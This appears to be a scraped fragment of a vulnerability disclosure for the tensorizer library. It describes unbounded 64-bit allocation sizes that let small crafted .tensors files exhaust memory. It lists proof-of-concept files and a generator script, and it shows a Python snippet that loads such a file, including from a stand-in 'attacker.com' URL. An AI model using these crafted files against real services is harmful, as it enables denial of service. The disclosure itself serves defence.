Views
No views yet
.tensors files. Both read unsigned 64-bit integers from untrusted file data and use them directly for allocation without any upper bound validation.serialization.py:841):
A crafted 73-byte file triggers reader.read(18,446,744,073,709,551,615) (~18.4 exabytes)serialization.py:646):
A crafted 125-byte file triggers bytearray(18,446,744,073,709,551,615) (~18.4 exabytes)malicious_metadata_dos.tensors — 73-byte file, triggers metadata allocation DoSmalicious_8gb_dos.tensors — 73-byte file, triggers 8GB metadata allocationmalicious_header_dos.tensors — 125-byte file, triggers per-tensor header allocation DoScreate_malicious_tensors.py — Script to generate all PoC files1from tensorizer import TensorDeserializer
2
3# This triggers a MemoryError or OOM kill:
4d = TensorDeserializer('malicious_metadata_dos.tensors')
5
6# Also works from remote URL (common production usage):
7d = TensorDeserializer('https://attacker.com/malicious.tensors')